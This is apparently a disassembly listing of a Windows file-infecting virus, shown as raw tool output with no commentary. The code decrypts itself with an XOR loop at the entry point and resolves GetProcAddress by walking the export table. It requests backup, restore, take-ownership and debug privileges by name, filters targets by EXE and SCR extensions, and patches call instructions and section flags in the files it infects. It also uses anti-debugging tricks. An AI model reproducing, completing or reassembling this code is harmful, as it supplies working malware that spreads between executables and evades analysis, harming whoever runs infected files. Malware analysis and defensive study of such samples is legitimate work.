		db  4Bh	; K
		db 45h,	52h, 4Eh
		db  45h	; E
		db 4Ch,	33h, 32h
		db  2Eh	; .
		db 44h,	2 dup(4Ch)
		db    0
		db 0FFh, 95h, 0AEh
		db  3Eh	; >
		db 10h,	0, 89h
		db  85h	; …
		db 14h,	43h, 10h
		db    0
		db 53h,	8Bh, 58h
		db  3Ch	; <
		db 3, 0D8h, 0FFh
		db  73h	; s
		db 28h,	8Bh, 43h
		db  34h	; 4
		db 0E8h, 0E5h, 0F4h
		db 0FFh
		db 0FFh, 8Bh, 95h
		db 0F4h	; ô
		db 42h,	10h, 0
		db  5Bh	; [
		db 3, 42h, 0Ch
		db  89h	; ‰
		db 85h,	18h, 43h
		db  10h
		align 2
		dw 4203h
		db    8
		db 89h,	85h, 1Ch
		db  43h	; C
		db 10h,	0, 8Bh
		db  73h	; s
		db 28h,	0FFh, 0B3h
		db  80h	; €
		align 4
		db 0E8h	; è
		db 0BEh, 0F4h, 0FFh
		db 0FFh
		db 8Bh,	0BDh, 0F4h
		db  42h	; B
		db 10h,	0, 56h
		db 0E8h	; è
		db 0B2h, 0F4h, 0FFh
		db 0FFh
		db 8Bh,	95h, 0F4h
		db  42h	; B
		db 10h,	0, 8Bh
		db  4Ah	; J
		db 8, 3, 4Ah
		db  0Ch
		db 2Bh,	0CEh, 83h
		db 0E9h	; é
		db 5, 0Fh, 88h
		db  60h	; `
		db 1, 2	dup(0)
		db  0Fh
		db 84h,	5Ah, 1
		db    0
		align 2
		dw 0B503h
		db 0F8h	; ø
		db 42h,	10h, 0
		db    3
		db 0B5h, 0B4h, 42h
		db  10h
		align 2
; START	OF FUNCTION CHUNK FOR sub_43C15D


loc_43C03E:				; CODE XREF: sub_43C15D+29j
		lodsb
		cmp	al, 0E8h
; END OF FUNCTION CHUNK	FOR sub_43C15D
		jnz	loc_43C0E9
		lea	eax, [esi+4]
		sub	eax, [ebp+1042B4h]
		add	eax, [esi]
		push	eax
		call	near ptr dword_43B4C4+3
		cmp	dword ptr [ebp+1042F4h], 0
		jnz	short loc_43C06C
		cmp	eax, [edi+0Ch]
		jnb	loc_43C185
		jmp	short loc_43C078
; ---------------------------------------------------------------------------


loc_43C06C:				; CODE XREF: .rsrc:0043C05Fj
		cmp	[ebp+1042F4h], edx
		jnz	loc_43C185


loc_43C078:				; CODE XREF: .rsrc:0043C06Aj
		add	eax, [ebp+1042B4h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_43C185
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	near ptr dword_43B4C4+3
		cmp	[ebp+1042F4h], edi
		jnz	loc_43C185
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_43C185
		cmp	eax, [edi+8]
		jnb	loc_43C185
; START	OF FUNCTION CHUNK FOR sub_43C15D


loc_43C0C1:				; CODE XREF: sub_43C15D+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+1042B4h]
		push	edx
		push	eax
		push	dword ptr [ebp+104314h]
		call	dword ptr [ebp+103E6Eh]
		pop	edx
		test	eax, eax
		jnz	loc_43C19B
		jmp	loc_43C185
; END OF FUNCTION CHUNK	FOR sub_43C15D
; ---------------------------------------------------------------------------


loc_43C0E9:				; CODE XREF: .rsrc:0043C041j
		cmp	al, 0FFh
		jnz	loc_43C185
		cmp	byte ptr [esi],	15h
		jnz	loc_43C185
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	near ptr dword_43B4C4+3
		cmp	[ebp+1042F4h], edi
		jnz	short loc_43C185
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	[ebp+104320h], eax
		mov	eax, [eax]
		cmp	eax, [ebp+104318h]
		jb	short loc_43C132
		cmp	eax, [ebp+10431Ch]
		jb	short loc_43C19B


loc_43C132:				; CODE XREF: .rsrc:0043C128j
		cmp	eax, 70000000h
		jb	short loc_43C170
		call	sub_43C15D
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+104320h]
		jnz	short locret_43C15C
		add	esp, 10h
		push	dword ptr [ecx]
		pop	dword ptr [esp+1Ch]
		popa
		jmp	short loc_43C177
; ---------------------------------------------------------------------------

locret_43C15C:				; CODE XREF: .rsrc:0043C14Ej
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43C15D	proc near		; CODE XREF: .rsrc:0043C139p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C03E SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043C0C1 SIZE 00000028 BYTES

		pop	dword ptr [ebp+1042D4h]
		pusha
		mov	esi, [ebp+1042B4h]
		call	near ptr dword_43B58C+42h
		popa


loc_43C170:				; CODE XREF: .rsrc:0043C137j
		test	eax, 80000000h
		jnz	short loc_43C185


loc_43C177:				; CODE XREF: .rsrc:0043C15Aj
		sub	eax, [edi+0Ch]
		jb	short loc_43C185
		cmp	eax, [edi+8]
		jb	loc_43C0C1


loc_43C185:				; CODE XREF: .rsrc:0043C064j
					; .rsrc:0043C072j ...
		dec	ecx
		jnz	loc_43C03E
		mov	edi, [esp+4+var_4]
		and	dword ptr [edi+29C0h], 0FFBFFFFFh
		jmp	short loc_43C1DD
; ---------------------------------------------------------------------------


loc_43C19B:				; CODE XREF: sub_43C15D-7Fj
					; .rsrc:0043C130j
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+104300h]
		mov	[ebp+1042FCh], eax
		lea	edi, [ecx+29C4h]
		add	eax, [ebp+1042B4h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+54h], 5
		mov	[esi-4], eax


loc_43C1DD:				; CODE XREF: sub_43C15D+3Cj
		pop	edi
		pop	esi
		retn
sub_43C15D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db  57h	; W
		db 0FFh, 95h, 0BAh
		db  3Eh	; >
		db 10h,	0, 0C1h
		db 0E8h	; è
		db 1Fh,	0Fh, 85h
		db  1Ah
		db 1, 2	dup(0)
		db  50h	; P
		db 54h,	6Ah, 28h
		db  6Ah	; j
		db 2 dup(0FFh),	95h
		db  1Ah
		db 3Fh,	10h, 0
		db  85h	; …
		db 0C0h, 5Fh, 0Fh
		db  88h	; ˆ
		db 5, 1, 0
		db    0
		db 0E8h, 58h, 0E4h
		db 0FFh
		db 0FFh, 0E8h, 11h
		db    0
		db 2 dup(0), 53h
aEtfilesecurity	db 'etFileSecurityA',0
		db 0FFh
		db 0B5h, 88h, 42h
		db  10h
		align 2
		dw 95FFh
		db  6Eh	; n
		db 3Eh,	10h, 0
		db  89h	; ‰
		db 85h,	90h, 42h
		db  10h
		align 2
		dw 19E8h
		db    0
		db 2 dup(0), 53h
aEtakeownership	db 'eTakeOwnershipPrivilege',0
		db  57h	; W
		db 0E8h, 29h, 0E8h
		db 0FFh
		db 0FFh, 0E8h, 13h
		db    0
		db 2 dup(0), 53h
aErestoreprivil	db 'eRestorePrivilege',0
		dw 0E857h
		db  0Bh
		db 0E8h, 2 dup(0FFh)
		db 0E8h	; è
		db 12h,	2 dup(0)
		db    0
aSebackupprivil	db 'SeBackupPrivilege',0
		db 57h
		dd 0FFE7EEE8h, 18E8FFh,	65530000h, 6E616843h, 6F4E6567h
		dd 79666974h, 76697250h, 67656C69h, 0E8570065h,	0FFFFE7CBh
		dd 858D5450h, 103DCCh, 6A50646Ah, 95FF5701h, 103F26h, 0FF243C89h
		dd 103E6295h, 8DC02A00h, 104184BDh, 50505000h, 3DCCB5FFh
		dd 1680010h, 54000400h,	0FF57016Ah, 10429095h, 46A5400h
		dd 9095FF57h, 83001042h, 0B5FF14C4h, 104288h, 3E9E95FFh
		dd 0C35F0010h, 4184B58Dh, 0FF560010h, 103EA295h, 0FFF88300h
		dd 0BB840Fh, 85890000h,	104294h, 0FF56006Ah, 103EDE95h
		dd 0FC08500h, 0A484h, 50C02B00h, 50036A50h, 68016Ah, 56C00000h
		dd 3E7E95FFh, 0F8830010h, 7840FFFh, 89000006h, 10429885h
		dd 9C8D8D00h, 8D001042h, 1042A495h, 6A525100h, 95FF5000h
		dd 103EAAh, 0FFFF883h, 5D584h, 0FF006A00h, 104298B5h, 0A695FF00h
		dd 8300103Eh, 840FFFF8h, 5BEh, 42AC8589h, 0C9330010h, 5051C303h
		dd 51046A51h, 4298B5FFh, 95FF0010h, 103E82h, 840FC085h
		dd 59Ah, 8589C933h, 1042B0h, 68515151h,	0F001Fh, 0CA95FF50h
		dd 8500103Eh, 53840FC0h, 89000005h, 1042B485h, 27B8C300h
		dd 8B000073h, 85F7384Bh, 1039C0h, 20000000h, 85030675h
		dd 101069h, 0C103D233h,	0E1F7F1F7h, 42C08589h, 0CBB80010h
		dd 8B000029h, 85033C4Bh, 101069h, 0C103D233h, 0E1F7F1F7h
		dd 42B88589h, 0FC30010h, 0F9064BB7h, 538D35E3h,	43B70F18h
		dd 49D00314h, 328C16Bh,	5F3A81D0h, 0F96E6977h, 7A831D74h
		dd 0E072010Ch, 8B3C4B8Bh, 42031442h, 48448D10h,	23D9F7FFh
		dd 0AC853BC1h, 0C3001042h, 1024548Bh, 828FC033h, 0B8h
		dd 0EBCF8BC3h, 84BD8D0Bh, 0FC001041h, 0C933DF8Bh, 72613CACh
		dd 777A3C06h, 0AA202C02h, 0EC745C3Ch, 0DD742E3Ch, 0E875003Ch
		dd 18BC9E3h, 4558453Dh,	3D0B7400h, 524353h, 0FF33850Fh
		dd 38BFFFFh, 4E49573Dh,	26840F43h, 3DFFFFFFh, 4E554357h
		dd 0FF1B840Fh, 573DFFFFh, 0F323343h, 0FFFF1084h, 53503DFFh
		dd 840F4F54h, 0FFFFFF05h, 2DE8DB33h, 75FFFFFEh,	0FCFAE810h
		dd 21E8FFFFh, 0FFFFFFEh, 0FFFEEC84h, 0E8D233FFh, 16h, 0FFFF63E8h
		dd 0E8FFh, 815D0000h, 10344FEDh, 3FAE900h, 0FF640000h
		dd 0B4B58B32h, 64001042h, 81662289h, 0F5A4D3Eh,	3E385h
		dd 3C5E8B00h, 8166DE03h, 0F45503Bh, 3D385h, 1643F700h
		dd 2000h, 3C6850Fh, 43F60000h, 840F025Ch, 3BCh,	3D08438Bh
		dd 0A0A0A0A0h, 3AE840Fh, 203D0000h, 0F202020h, 3A384h
		dd 0C88B8B00h, 0E3000000h, 54E85116h, 3FFFFEFh,	1042F88Dh
		dd 83CE0300h, 83004061h, 0E8004461h, 0FFFFFE9Bh, 37A820Fh
		dd 0A5830000h, 1042FCh,	8428B00h, 2B104A8Bh, 330473C1h
		dd 305EBC0h, 104A89C8h,	42BC8589h, 4A030010h, 0B80Ch, 0E8510001h
		dd 0FFFFE68Ah, 39BE9530h, 20B10010h, 39BFB530h,	206A0010h
		dd 7858C9FEh, 0E670E814h, 0D285FFFFh, 0D3C2940Fh, 0C09531E2h
		dd 0EB001039h, 0C085F7E5h, 1039h, 74020000h, 0C085F722h
		dd 3001039h, 75000000h,	0C0A5810Ch, 0FF001039h,	0EBF7FFFFh
		dd 0C08D810Ah, 1039h, 68100000h, 6, 66859h, 0E8580000h
		dd 0FFFFE622h, 39B8858Ah, 84860010h, 1039B82Ah,	0B8858800h
		dd 0E2001039h, 0C085F7E0h, 8001039h, 75000000h,	0BABD8009h
		dd 1001039h, 85F7C574h,	1039C0h, 10000000h, 0BD801B74h
		dd 1039B8h, 80B07405h, 1039B9BDh, 0A7740500h, 39BABD80h
		dd 74050010h, 0C085F79Eh, 1039h, 74004000h, 0B8BD8009h
		dd 2001039h, 0A5838977h, 104300h, 0F272E800h, 43E8FFFFh
		dd 0E8FFFFFDh, 271h, 42B89D8Bh,	9D030010h, 1042BCh, 0FFFC5BE8h
		dd 51840FFFh, 8B000002h, 1042B4B5h, 3C5E8B00h, 5CE8DE03h
		dd 0FFFFFFDh, 23B82h, 244A8100h, 0E0000060h, 5652FE8Bh
		dd 3147A03h, 85F7107Ah,	1039C0h, 20000000h, 0BD891475h
		dd 104304h, 39CCB58Dh, 8D8B0010h, 101069h, 0B957A4F3h
		dd 0A73h, 1000B58Dh, 0A5F30010h, 2E300B1h, 85F7A4F3h, 1039C0h
		dd 20000000h, 0AE840Fh,	73FF0000h, 0ED9DE828h, 958BFFFFh
		dd 1042F4h, 840FD285h, 98h, 42B4B58Bh, 4A8B0010h, 244A8110h
		dd 0E0000060h, 73084A2Bh, 3C93302h, 8D3B1472h, 101069h
		dd 10698D8Bh, 56720010h, 83243C8Bh, 101069A5h, 0A7830000h
		dd 69h,	87A8B00h, 3084A01h, 8BF787F7h, 1042C885h, 0C085F700h
		dd 40001039h, 74000000h, 318F702h, 30290C72h, 4300B589h
		dd 738B0010h, 0F7300128h, 1039C085h, 4000h, 0F7027400h
		dd 2BE85118h, 59FFFFFCh, 73030CEBh, 0C722B28h, 0A4F35651h
		dd 0B58D595Fh, 1039CCh,	4304BD89h, 0A4F30010h, 310F5E5Fh
		dd 37878D92h, 3A000001h, 1039BE95h, 69067500h, 345678D2h
		dd 50896612h, 0D9E1E8E7h, 8B5AFFFFh, 4A030C4Ah,	0C085F710h
		dd 1039h, 8D200000h, 13750541h,	43008D89h, 85030010h, 101069h
		dd 69A783h, 2B000000h, 87892843h, 54h, 3F7C85F7h, 10010h
		dd 7740000h, 0A00843C7h, 0F7A0A0A0h, 1039C085h,	40000000h
		dd 52077400h, 0FFF75BE8h, 8D8B5AFFh, 104300h, 4B8905E3h
		dd 8B0DEB28h, 1042FC8Dh, 0EB02E300h, 284B8B03h,	39C085F7h
		dd 30010h, 14740000h, 4304858Bh, 8D030010h, 1042ECh, 42E88503h
		dd 8010010h, 8B104A8Bh,	1042B885h, 84A3900h, 4A890373h
		dd 10420108h, 586383h, 42C0858Bh, 0CC680010h, 1000029h
		dd 1590842h, 958A5043h,	1039BEh, 39C085F7h, 10h, 6742000h
		dd 10698D03h, 0B60010h,	39C085F7h, 10h,	14750002h, 85F7C6FEh
		dd 1039C0h, 40000h, 0B58A0675h,	1039BFh, 39C085F7h, 40000010h
		dd 0B750000h, 0C202078Ah, 0E2D602AAh, 8A09EBF7h, 0AAC23207h
		dd 0F7E2D602h, 8B64D233h, 28F6422h, 98BD8358h, 1042h, 0FABF840Fh
		dd 0B5FFFFFFh, 1042B4h,	3EEE95FFh, 0B5FF0010h, 1042B0h
		dd 3E6295FFh, 8D8D0010h, 10429Ch, 42A4958Dh, 52510010h
		dd 0B5FF006Ah, 104298h,	3EE295FFh, 0B5FF0010h, 104298h
		dd 3E6295FFh, 0B58D0010h, 104184h, 4294B5FFh, 0FF560010h
		dd 103EDE95h, 98A58300h, 1042h,	0E8C3h,	6A5D0000h, 0CBED8101h
		dd 58001038h, 85C10FF0h, 101588h, 83C3C085h, 0FF0FFC8h
		dd 158885C1h, 3DC30010h, 2A0010h, 81661C75h, 6C0C247Ch
		dd 60137571h, 0FFFFC4E8h, 0E80575FFh, 0FFFFFAB5h, 0FFFFD2E8h
		dd 0FF2E61FFh, 3456782Dh, 25B812h, 0E8600000h, 0FFFFFFA5h
		dd 448B3975h, 0B58D3024h, 104184h, 6608508Bh, 2063A81h
		dd 68562573h, 0FF0000h,	6AC48Bh, 95FF5052h, 103F2Eh, 8108C483h
		dd 3F3F5C3Eh, 8303755Ch, 62E804C6h, 0E8FFFFFAh,	0FFFFFF7Fh
		dd 74B8C361h, 0EB000000h, 2FB8B1h, 1DE80000h, 0C2000000h
		dd 30B80020h, 0E8000000h, 10h, 0B80024C2h, 185h, 3E8h
		dd 2CC200h, 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h
		dd 1A8B5D30h, 39A2ED81h, 0B3E80010h, 61FFFFE0h,	70004C2h
		dd 5030602h, 0AACE2A01h, 0FFD6B447h, 119815h, 0FF8B01h
		dd 125h	dup(0)
		dd 809B4700h, 8308AD7Ch, 9103317Ch, 7Ch, 1437h dup(0)
		assume ds:_data

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cld
		jmp	short $+2
		push	ebp
		mov	ebp, esp
		call	sub_442022
		cld
		cld
		mov	edx, edx
		call	sub_4420BE
		jmp	short $+2
		cmc
		mov	ebp, 12FFC0h	; DATA XREF: sub_442022+Cw
		stc
		jmp	loc_442056
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_442022	proc near		; CODE XREF: start+6p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	dword ptr ds:loc_442017+1, ebp
		cld
		cld
		mov	ecx, ecx
		xor	eax, eax
		push	8000h
		push	eax
		push	1
		push	eax
		push	eax
		push	eax
		push	eax
		push	80000000h
		push	eax
		push	eax
		call	ds:dword_427F70	; GetProcAddress


loc_442056:				; CODE XREF: start+1Dj
		cmc
		stc
		mov	eax, eax
		call	sub_4420B6
		cmc
		add	ebx, 6Eh
		sub	esi, esi
		xor	esi, 29CCh
		nop
		cld
		jmp	short $+2
		and	edx, 0
		add	edx, 31h
		clc
		cld
		push	ebx
		xchg	ebx, ebx
		cld


loc_442081:				; CODE XREF: sub_442022+6Dj
		call	sub_4420AB
		inc	ebx
		inc	edx
		sub	esi, 1
		mov	ecx, ecx
		or	esi, esi
		jnz	short loc_442081
		pop	ebx
		jmp	short $+2
		stc
		mov	edx, [ebp-8]
		mov	fs:0, edx
		xchg	ebx, ebx
		xchg	ebx, ebx
		cld
		nop
		leave
		stc
		cld
		jmp	ebx
sub_442022	endp

; ---------------------------------------------------------------------------
		clc
		stc

; =============== S U B	R O U T	I N E =======================================



sub_4420AB	proc near		; CODE XREF: sub_442022:loc_442081p
		mov	al, [ebx]
		nop
		xor	ax, dx
		nop
		xchg	al, [ebx]
		cld
		retn
sub_4420AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4420B6	proc near		; CODE XREF: sub_442022+38p
		pop	ebx
		mov	eax, eax
		mov	edx, edx
		push	ebx
		retn
sub_4420B6	endp

; ---------------------------------------------------------------------------
		clc

; =============== S U B	R O U T	I N E =======================================



sub_4420BE	proc near		; CODE XREF: start+Fp

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_4420BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short $+2
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29BBh]
		mov	[eax+3303h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_44211A
		pop	ecx
		mov	[eax+3307h], esi
		mov	cl, [eax+29BFh]
		mov	[eax+330Bh], edi
		cmp	cl, 0E8h
		jz	short loc_44210E
		mov	ebx, [eax+29C1h]
		jmp	short loc_442118
; ---------------------------------------------------------------------------


loc_44210E:				; CODE XREF: .rsrc:00442104j
		mov	ecx, [eax+29C0h]
		mov	ebx, [ecx+ebx+2]


loc_442118:				; CODE XREF: .rsrc:0044210Cj
		mov	ebx, [ebx]


loc_44211A:				; CODE XREF: .rsrc:004420ECj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 80D2h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039CCh]
		mov	ecx, 0
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_442148
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_442148:				; CODE XREF: .rsrc:00442141j
		and	ebx, 0FFFFF000h


loc_44214E:				; CODE XREF: .rsrc:0044215Dj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_44215F


loc_442157:				; CODE XREF: .rsrc:0044216Cj
		sub	ebx, 100h
		jnz	short loc_44214E


loc_44215F:				; CODE XREF: .rsrc:00442155j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_442157
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_442179:				; CODE XREF: .rsrc:loc_44218Dj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_44218D
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_442192


loc_44218D:				; CODE XREF: .rsrc:00442182j
		loop	loc_442179
		pop	ecx
		jmp	short loc_4421BD
; ---------------------------------------------------------------------------


loc_442192:				; CODE XREF: .rsrc:0044218Bj
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_442204
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44224B


loc_4421BD:				; CODE XREF: .rsrc:00442190j
					; sub_44224B+10j ...
		mov	eax, [ebp+1039C0h]
		and	eax, 400000h
		jz	short loc_4421E9
		lea	esi, [ebp+1039C4h]
		lodsd
		mov	edi, [esp+arg_0]
		stosd
		mov	ebx, [ebp+104308h]
		movsb
		mov	edi, [ebp+104310h]
		mov	esi, [ebp+10430Ch]


loc_4421E9:				; CODE XREF: sub_44224B-83j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44224B
; ---------------------------------------------------------------------------
		db 76h
		dd 89B953E5h, 8B000028h, 2A1030DAh, 1C083D3h, 0D686DF86h
		dd 0C35BF3E2h
; ---------------------------------------------------------------------------


loc_442204:				; CODE XREF: .rsrc:004421BBj
		call	near ptr loc_442213+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_442270+3
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_442213:				; CODE XREF: .rsrc:loc_442204p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+103E62h], eax
		call	near ptr loc_44222F+1
		inc	ebx
		jb	short loc_44228B
		popa
		jz	short near ptr loc_44228D+1
		inc	ebp
		jbe	short near ptr loc_44228D+4
		outsb
		jz	short loc_442270


loc_44222F:				; CODE XREF: .rsrc:0044221Ep
		add	[ebx-1], dl
		setalc
		mov	[ebp+103E66h], eax
		call	sub_44224B
		inc	edi
		db	65h
		jz	short near ptr loc_44228D+1
		popa
		jnb	short near ptr loc_4422B7+2
		inc	ebp
		jb	short near ptr loc_4422B7+3
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_44224B	proc near		; CODE XREF: .rsrc:00442239p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004421BD SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00442601 SIZE 0000000B BYTES

		push	ebx
		call	esi
		mov	[ebp+103E6Ah], eax
		call	sub_44262C
		test	eax, eax
		jz	loc_4421BD
		push	eax
		call	dword ptr [ebp+103E6Ah]
		test	eax, eax
		jnz	loc_442601


loc_442270:				; CODE XREF: .rsrc:0044222Dj
					; .rsrc:0044220Cj
		cmp	byte ptr [ebp+10153Fh],	1
		jnz	short loc_44228D
		push	dword ptr [ebp+104308h]
		dec	byte ptr [ebp+10153Fh]
		pop	dword ptr [ebp+101598h]


loc_44228B:				; CODE XREF: .rsrc:00442224j
		jmp	short loc_442294
; ---------------------------------------------------------------------------


loc_44228D:				; CODE XREF: sub_44224B+2Cj
					; .rsrc:00442227j ...
		and	dword ptr [ebp+101598h], 0


loc_442294:				; CODE XREF: sub_44224B:loc_44228Bj
		and	dword ptr [ebp+101588h], 0
		and	dword ptr [ebp+10158Ch], 0
		and	dword ptr [ebp+101590h], 0
		push	edi
		mov	byte ptr [ebp+1012D4h],	1
		mov	[ebp+103E6Eh], esi


loc_4422B7:				; CODE XREF: .rsrc:00442243j
					; .rsrc:00442246j
		lea	esi, [ebp+101604h]
		xor	ecx, ecx
		lea	edi, [ebp+103E7Ah]
		mov	cl, 20h
		call	sub_442669
		pop	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	loc_4423B0
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+103E72h], eax
		push	7328h
		push	0
		call	dword ptr [ebp+103EF2h]
		test	eax, eax
		jz	loc_442601
		xchg	eax, edi
		lea	esi, [ebp+101000h]
		mov	ebp, edi
		mov	ecx, 0CCAh
		sub	ebp, 101000h
		lea	edx, [ebp+101254h]
		rep movsd
		jmp	edx
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+101B4Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+103E72h]
		add	esp, 20h
		test	eax, eax
		jz	loc_442601
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+103E72h]
		test	eax, eax
		jz	loc_442601
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+103E72h]
		push	1000Ah
		call	dword ptr [ebp+103E72h]
		call	loc_4423A0
		jmp	loc_442601
; ---------------------------------------------------------------------------


loc_4423A0:				; CODE XREF: sub_44224B+14Bp
					; sub_44224B+162j
		push	1
		pop	ecx
		jecxz	short locret_4423AF
		push	0Ah
		call	dword ptr [ebp+103EE6h]
		jmp	short loc_4423A0
; ---------------------------------------------------------------------------

locret_4423AF:				; CODE XREF: sub_44224B+158j
		retn
; ---------------------------------------------------------------------------


loc_4423B0:				; CODE XREF: sub_44224B+8Bj
		cmp	dword ptr [ebp+103E92h], 0
		jz	loc_442601
		call	near ptr loc_4423C7+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_4423C7:				; CODE XREF: sub_44224B+172p
		add	bh, bh
sub_44224B	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		lea	esi, [ebp+1017DEh]
		xor	ecx, ecx
		lea	edi, [ebp+103EFAh]
		mov	cl, 0Eh
		xchg	eax, ebx
		call	sub_442669
		cmp	dword ptr [ebp+103F2Eh], 0
		jz	loc_442601
		mov	eax, [ebp+103EFEh]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103917h]
		mov	eax, [ebp+103F16h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103964h]
		mov	eax, [ebp+103F02h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+10396Bh]
		cmp	dword ptr [ebp+10396Bh], 10000h
		jnb	loc_442601
		mov	ecx, [ebp+103F06h]
		jecxz	short loc_442450
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103978h]
		mov	ecx, [ebp+103F0Eh]
		jecxz	short loc_442450
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103985h]


loc_442450:				; CODE XREF: .rsrc:00442434j
					; .rsrc:00442445j
		call	sub_44260D
		lea	edi, [ebp+103F84h]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+1015EBh]
		mov	ecx, 19h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah
		lea	edx, [ebp+103E30h]


loc_442499:				; CODE XREF: .rsrc:004424A2j
		lodsb
		mov	[edx], ax
		stosw
		add	edx, 2
		loop	loc_442499
		mov	edx, esp
		push	0
		push	7328h
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+103F0Ah]
		pop	eax
		add	esp, 40h
		push	7328h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	7328h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+103F12h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_442601
		lea	esi, [ebp+101000h]
		mov	ecx, 0CCAh
		mov	ebp, edi
		rep movsd
		sub	ebp, 101000h
		lea	eax, [ebp+10144Ah]
		jmp	eax
; ---------------------------------------------------------------------------
		db 50h
		dd 6A206A54h, 1A95FFFFh, 8500103Fh, 34755FC0h, 14FE8h
		dd 11E800h, 65530000h, 75626544h, 69725067h, 656C6976h
		dd 57006567h, 550E8h, 88B5FF00h, 0FF001042h, 103E9E95h
		dd 95FF5700h, 103E62h, 26A006Ah, 3E9295FFh, 28B90010h
		dd 97000001h, 0C89E12Bh, 0FF575424h, 103ED695h,	83F63300h
		dd 103F72A5h, 57540000h, 3EDA95FFh, 0C0850010h,	83466674h
		dd 0EE7204FEh, 82474FFh, 2A6A006Ah, 3ED295FFh, 0C0850010h
		dd 0E893DC74h, 588h, 0E391C933h, 7285393Ah, 7500103Fh
		dd 247C8132h, 72736324h, 81287473h, 0EAFC1h, 50545000h
		dd 50505156h, 8A95FF53h, 8500103Eh, 0F7459C0h, 82474FFh
		dd 3F72858Fh, 0B5E80010h, 53FFFFFDh, 3E6295FFh,	8EEB0010h
		dd 128C481h, 0FF570000h, 103E6295h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44224B


